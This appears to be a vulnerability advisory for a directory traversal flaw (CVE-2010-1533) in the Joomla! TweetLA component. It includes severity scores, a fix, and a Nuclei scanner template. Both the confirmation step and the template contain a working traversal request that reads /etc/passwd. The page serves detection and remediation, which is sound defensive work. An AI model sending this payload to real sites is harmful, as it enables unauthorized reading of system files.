Joomla! Component TweetLA 1.0.1 - Local File Inclusion

highseverity

7.5CVSS score

15.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the TweetLA (com_tweetla) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1533 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1533

info:
  name: Joomla! Component TweetLA 1.0.1 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the TweetLA (com_tweetla) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12142
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1533
    - http://www.exploit-db.com/exploits/12142
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1533
    cwe-id: CWE-22
    epss-score: 0.15088
    epss-percentile: 0.9676
    cpe: cpe:2.3:a:peter_hocherl:com_tweetla:1.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: peter_hocherl
    product: com_tweetla
  tags: cve2010,cve,joomla,lfi,edb,peter_hocherl,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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